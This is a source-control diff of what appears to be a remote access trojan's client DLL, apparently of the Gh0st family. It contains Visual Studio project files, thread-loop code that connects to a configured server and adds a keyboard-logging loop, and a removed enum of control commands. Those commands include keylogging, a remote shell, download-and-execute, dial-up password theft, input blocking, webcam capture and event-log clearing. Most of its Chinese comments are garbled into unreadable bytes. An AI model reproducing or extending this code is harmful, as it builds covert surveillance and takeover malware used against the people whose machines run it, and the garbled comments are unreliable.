static int m_nCount; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
static CLock m_Locker;
ClientApp(CONNECT_ADDRESS*conn, IsRunning run, BOOL shared=FALSE) {
memset(this, 0, sizeof(ClientApp));
g_Connection = new CONNECT_ADDRESS(*conn);
m_bIsRunning = run;
m_bShared = shared;
}
~ClientApp() {
SAFE_DELETE(g_Connection);
}
ClientApp* SetID(unsigned id) {
m_ID = id;
return this;
}
static void AddCount(int n=1) {
m_Locker.Lock();
m_nCount+=n;
m_Locker.Unlock();
}
static int GetCount() {
m_Locker.Lock();
int n = m_nCount;
m_Locker.Unlock();
return n;
}
static void Wait() {
while (GetCount())
Sleep(50);
}
}ClientApp;
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣߳<DFB3><CCA3><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>ClientApp
DWORD WINAPI StartClient(LPVOID lParam);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣߳<DFB3><CCA3><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>ClientApp
DWORD WINAPI StartClientApp(LPVOID param);

View File

@@ -1,5 +1,5 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
@@ -14,19 +14,20 @@
<ProjectGuid>{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}</ProjectGuid>
<RootNamespace>ClientDll</RootNamespace>
<ProjectName>ServerDll</ProjectName>
<WindowsTargetPlatformVersion>8.1</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset>
<PlatformToolset>v110_xp</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<UseOfMfc>false</UseOfMfc>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v110</PlatformToolset>
<PlatformToolset>v110_xp</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
@@ -40,7 +41,14 @@
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LibraryPath>$(WindowsSDK_LibraryPath_x86);$(LibraryPath)</LibraryPath>
<IncludePath>$(WindowsSDK_IncludePath);$(IncludePath)</IncludePath>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
@@ -65,7 +73,7 @@
<IntrinsicFunctions>true</IntrinsicFunctions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AdditionalIncludeDirectories>./;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions>ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
</ClCompile>
<Link>
@@ -83,7 +91,6 @@
<ClCompile Include="CaptureVideo.cpp" />
<ClCompile Include="ClientDll.cpp" />
<ClCompile Include="Common.cpp" />
<ClCompile Include="CursorInfor.cpp" />
<ClCompile Include="FileManager.cpp" />
<ClCompile Include="IOCPClient.cpp" />
<ClCompile Include="KernelManager.cpp" />
@@ -106,7 +113,7 @@
<ClInclude Include="Buffer.h" />
<ClInclude Include="CaptureVideo.h" />
<ClInclude Include="Common.h" />
<ClInclude Include="CursorInfor.h" />
<ClInclude Include="CursorInfo.h" />
<ClInclude Include="FileManager.h" />
<ClInclude Include="IOCPClient.h" />
<ClInclude Include="KernelManager.h" />
@@ -136,6 +143,10 @@
<ItemGroup>
<Media Include="Res\msg.wav" />
</ItemGroup>
<ItemGroup>
<Image Include="Res\ghost.ico" />
<Image Include="Res\msg.ico" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>

View File

@@ -33,9 +33,6 @@
<ClCompile Include="Common.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="CursorInfor.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="FileManager.cpp">
<Filter>源文件</Filter>
</ClCompile>
@@ -98,9 +95,6 @@
<ClInclude Include="Common.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="CursorInfor.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="FileManager.h">
<Filter>头文件</Filter>
</ClInclude>
@@ -158,6 +152,9 @@
<ClInclude Include="zlib.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="CursorInfo.h">
<Filter>头文件</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="Script.rc">
@@ -174,4 +171,12 @@
<Filter>资源文件</Filter>
</Media>
</ItemGroup>
<ItemGroup>
<Image Include="Res\ghost.ico">
<Filter>资源文件</Filter>
</Image>
<Image Include="Res\msg.ico">
<Filter>资源文件</Filter>
</Image>
</ItemGroup>
</Project>

View File

@@ -0,0 +1,234 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}</ProjectGuid>
<RootNamespace>ClientDll</RootNamespace>
<ProjectName>ServerDll</ProjectName>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<UseOfMfc>false</UseOfMfc>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>MultiByte</CharacterSet>
<UseOfMfc>false</UseOfMfc>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IntDir>$(Configuration)\dll</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)</IncludePath>
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IntDir>$(Platform)\$(Configuration)\dll</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)</IncludePath>
<IntDir>$(Configuration)\dll</IntDir>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir)compress;$(LibraryPath)</LibraryPath>
<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(SolutionDir)compress;$(SolutionDir)compress\libyuv;$(IncludePath)</IncludePath>
<IntDir>$(Platform)\$(Configuration)\dll</IntDir>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<AdditionalIncludeDirectories>$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<PreprocessorDefinitions>ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
<MinimalRebuild>false</MinimalRebuild>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreSpecificDefaultLibraries>libcmt.lib;msvcrt.lib</IgnoreSpecificDefaultLibraries>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<AdditionalIncludeDirectories>$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<PreprocessorDefinitions>ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
<MinimalRebuild>false</MinimalRebuild>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
<IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AdditionalIncludeDirectories>$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
<IgnoreSpecificDefaultLibraries>msvcrt.lib</IgnoreSpecificDefaultLibraries>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<AdditionalIncludeDirectories>$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
<PreprocessorDefinitions>ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MultiProcessorCompilation>true</MultiProcessorCompilation>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="Audio.cpp" />
<ClCompile Include="AudioManager.cpp" />
<ClCompile Include="Buffer.cpp" />
<ClCompile Include="CaptureVideo.cpp" />
<ClCompile Include="ClientDll.cpp" />
<ClCompile Include="Common.cpp" />
<ClCompile Include="FileManager.cpp" />
<ClCompile Include="IOCPClient.cpp" />
<ClCompile Include="KernelManager.cpp" />
<ClCompile Include="KeyboardManager.cpp" />
<ClCompile Include="LoginServer.cpp" />
<ClCompile Include="Manager.cpp" />
<ClCompile Include="RegisterManager.cpp" />
<ClCompile Include="RegisterOperation.cpp" />
<ClCompile Include="ScreenManager.cpp" />
<ClCompile Include="ScreenSpy.cpp" />
<ClCompile Include="ServicesManager.cpp" />
<ClCompile Include="ShellManager.cpp" />
<ClCompile Include="StdAfx.cpp" />
<ClCompile Include="SystemManager.cpp" />
<ClCompile Include="TalkManager.cpp" />
<ClCompile Include="VideoManager.cpp" />
<ClCompile Include="X264Encoder.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\common\commands.h" />
<ClInclude Include="Audio.h" />
<ClInclude Include="AudioManager.h" />
<ClInclude Include="Buffer.h" />
<ClInclude Include="CaptureVideo.h" />
<ClInclude Include="Common.h" />
<ClInclude Include="CursorInfo.h" />
<ClInclude Include="FileManager.h" />
<ClInclude Include="IOCPClient.h" />
<ClInclude Include="KernelManager.h" />
<ClInclude Include="KeyboardManager.h" />
<ClInclude Include="LoginServer.h" />
<ClInclude Include="Manager.h" />
<ClInclude Include="RegisterManager.h" />
<ClInclude Include="RegisterOperation.h" />
<ClInclude Include="resource.h" />
<ClInclude Include="ScreenCapture.h" />
<ClInclude Include="ScreenCapturerDXGI.h" />
<ClInclude Include="ScreenManager.h" />
<ClInclude Include="ScreenSpy.h" />
<ClInclude Include="ServicesManager.h" />
<ClInclude Include="ShellManager.h" />
<ClInclude Include="StdAfx.h" />
<ClInclude Include="SystemManager.h" />
<ClInclude Include="TalkManager.h" />
<ClInclude Include="VideoCodec.h" />
<ClInclude Include="VideoManager.h" />
<ClInclude Include="X264Encoder.h" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="Script.rc" />
</ItemGroup>
<ItemGroup>
<None Include="ExportFunTable.def" />
</ItemGroup>
<ItemGroup>
<Media Include="Res\msg.wav" />
</ItemGroup>
<ItemGroup>
<Image Include="Res\ghost.ico" />
<Image Include="Res\msg.ico" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@@ -10,33 +10,9 @@
#include "RegisterManager.h"
#include "ServicesManager.h"
#include "VideoManager.h"
#include "KernelManager.h"
#include "KeyboardManager.h"
extern char g_szServerIP[MAX_PATH];
extern unsigned short g_uPort;
HANDLE _CreateThread (LPSECURITY_ATTRIBUTES SecurityAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE StartAddress,
LPVOID lParam,
DWORD dwCreationFlags,
LPDWORD ThreadId, bool bInteractive)
{
HANDLE hThread = INVALID_HANDLE_VALUE;
THREAD_ARG_LIST ThreadArgList = {0};
ThreadArgList.StartAddress = StartAddress;
ThreadArgList.lParam = (void *)lParam; //IP
ThreadArgList.bInteractive = bInteractive; //??
ThreadArgList.hEvent = CreateEvent(NULL,FALSE,FALSE,NULL);
hThread = (HANDLE)CreateThread(SecurityAttributes,
dwStackSize,(LPTHREAD_START_ROUTINE)ThreadProc, &ThreadArgList,
dwCreationFlags, (LPDWORD)ThreadId);
WaitForSingleObject(ThreadArgList.hEvent, INFINITE);
CloseHandle(ThreadArgList.hEvent);
return hThread;
}
#include "KernelManager.h"
DWORD WINAPI ThreadProc(LPVOID lParam)
{
@@ -52,9 +28,10 @@ template <class Manager, int n> DWORD WINAPI LoopManager(LPVOID lParam)
{
ThreadInfo *pInfo = (ThreadInfo *)lParam;
IOCPClient *ClientObject = pInfo->p;
if (ClientObject->ConnectServer(g_szServerIP,g_uPort))
CONNECT_ADDRESS& g_SETTINGS(*(pInfo->conn));
if (ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()))
{
Manager m(ClientObject, n);
Manager m(ClientObject, n, pInfo->user);
ClientObject->RunEventLoop(pInfo->run);
}
delete ClientObject;
@@ -112,3 +89,8 @@ DWORD WINAPI LoopServicesManager(LPVOID lParam)
{
return LoopManager<CServicesManager, 0>(lParam);
}
DWORD WINAPI LoopKeyboardManager(LPVOID lParam)
{
return LoopManager<CKeyboardManager1, 0>(lParam);
}

View File

@@ -1,126 +1,7 @@
#pragma once
#include "StdAfx.h"
#include "IOCPClient.h"
enum
{
// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ʽ
TRANSFER_MODE_NORMAL = 0x00, // һ<><D2BB>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD>Ѿ<EFBFBD><D1BE>У<EFBFBD>ȡ<EFBFBD><C8A1>
TRANSFER_MODE_ADDITION, // ׷<><D7B7>
TRANSFER_MODE_ADDITION_ALL, // ȫ<><C8AB>׷<EFBFBD><D7B7>
TRANSFER_MODE_OVERWRITE, // <20><><EFBFBD><EFBFBD>
TRANSFER_MODE_OVERWRITE_ALL, // ȫ<><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TRANSFER_MODE_JUMP, // <20><><EFBFBD><EFBFBD>
TRANSFER_MODE_JUMP_ALL, // ȫ<><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
TRANSFER_MODE_CANCEL, // ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// <20><><EFBFBD>ƶ˷<C6B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_ACTIVED = 0x00, // <20><><EFBFBD><EFBFBD><EFBFBD>˿<EFBFBD><CBBF>Լ<EFBFBD><D4BC>ʼ<EEBFAA><CABC><EFBFBD><EFBFBD>
COMMAND_LIST_DRIVE, // <20>г<EFBFBD><D0B3><EFBFBD><EFBFBD><EFBFBD>Ŀ¼
COMMAND_LIST_FILES, // <20>г<EFBFBD>Ŀ¼<C4BF>е<EFBFBD><D0B5>ļ<EFBFBD>
COMMAND_DOWN_FILES, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
COMMAND_FILE_SIZE, // <20>ϴ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>С
COMMAND_FILE_DATA, // <20>ϴ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
COMMAND_EXCEPTION, // <20><><EFBFBD><EFBFBD><E4B7A2><EFBFBD><EFBFBD><ECB3A3><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD>´<EFBFBD><C2B4><EFBFBD>
COMMAND_CONTINUE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_STOP, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֹ
COMMAND_DELETE_FILE, // ɾ<><C9BE><EFBFBD>ļ<EFBFBD>
COMMAND_DELETE_DIRECTORY, // ɾ<><C9BE>Ŀ¼
COMMAND_SET_TRANSFER_MODE, // <20><><EFBFBD>ô<EFBFBD><C3B4>ʽ
COMMAND_CREATE_FOLDER, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
COMMAND_RENAME_FILE, // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
COMMAND_OPEN_FILE_SHOW, // <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
COMMAND_OPEN_FILE_HIDE, // <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD>ļ<EFBFBD>
COMMAND_SCREEN_SPY, // <20><>Ļ<EFBFBD>
COMMAND_SCREEN_RESET, // <20>ı<EFBFBD><C4B1><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD>
COMMAND_ALGORITHM_RESET, // <20>ı<EFBFBD><C4B1>
COMMAND_SCREEN_CTRL_ALT_DEL, // <20><><EFBFBD><EFBFBD>Ctrl+Alt+Del
COMMAND_SCREEN_CONTROL, // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD>
COMMAND_SCREEN_BLOCK_INPUT, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˼<EFBFBD><CBBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_SCREEN_BLANK, // <20><><EFBFBD><EFBFBD><EFBFBD>˺<EFBFBD><CBBA><EFBFBD>
COMMAND_SCREEN_CAPTURE_LAYER, // <20><>׽<EFBFBD><D7BD>
COMMAND_SCREEN_GET_CLIPBOARD, // <20><>ȡԶ<C8A1>̼<EFBFBD><CCBC><EFBFBD><EFBFBD><EFBFBD>
COMMAND_SCREEN_SET_CLIPBOARD, // <20><><EFBFBD><EFBFBD>Զ<EFBFBD>̼<EFBFBD><CCBC><EFBFBD><EFBFBD><EFBFBD>
COMMAND_WEBCAM, // <20><><EFBFBD><EFBFBD>ͷ
COMMAND_WEBCAM_ENABLECOMPRESS, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>Ҫ<EFBFBD>󾭹<EFBFBD>H263ѹ<33><D1B9>
COMMAND_WEBCAM_DISABLECOMPRESS, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>ԭʼ<D4AD><CABC><EFBFBD><EFBFBD>ģʽ
COMMAND_WEBCAM_RESIZE, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD><D6B1>ʣ<EFBFBD><CAA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>INT<4E>͵Ŀ<CDB5><C4BF><EFBFBD>
COMMAND_NEXT, // <20><>һ<EFBFBD><D2BB>(<28><><EFBFBD>ƶ<EFBFBD><C6B6>Ѿ<EFBFBD><D1BE>򿪶Ի<F2BFAAB6><D4BB><EFBFBD>)
COMMAND_KEYBOARD, // <20><><EFBFBD>̼<EFBFBD>¼
COMMAND_KEYBOARD_OFFLINE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߼<EFBFBD><DFBC>̼<EFBFBD>¼
COMMAND_KEYBOARD_CLEAR, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD>
COMMAND_AUDIO, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_SYSTEM, // ϵͳ<CFB5><CDB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣<EFBFBD><CCA3><EFBFBD><EFBFBD><EFBFBD>....<2E><>
COMMAND_PSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
COMMAND_WSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
COMMAND_DIALUPASS, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
COMMAND_KILLPROCESS, // <20>رս<D8B1><D5BD><EFBFBD>
COMMAND_SHELL, // cmdshell
COMMAND_SESSION, // <20><EFBFBD><E1BBB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2>, ж<>أ<EFBFBD>
COMMAND_REMOVE, // ж<>غ<EFBFBD><D8BA><EFBFBD>
COMMAND_DOWN_EXEC, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4>
COMMAND_UPDATE_SERVER, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD>ظ<EFBFBD><D8B8><EFBFBD>
COMMAND_CLEAN_EVENT, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD><EFBFBD>ϵͳ<CFB5><CDB3>־
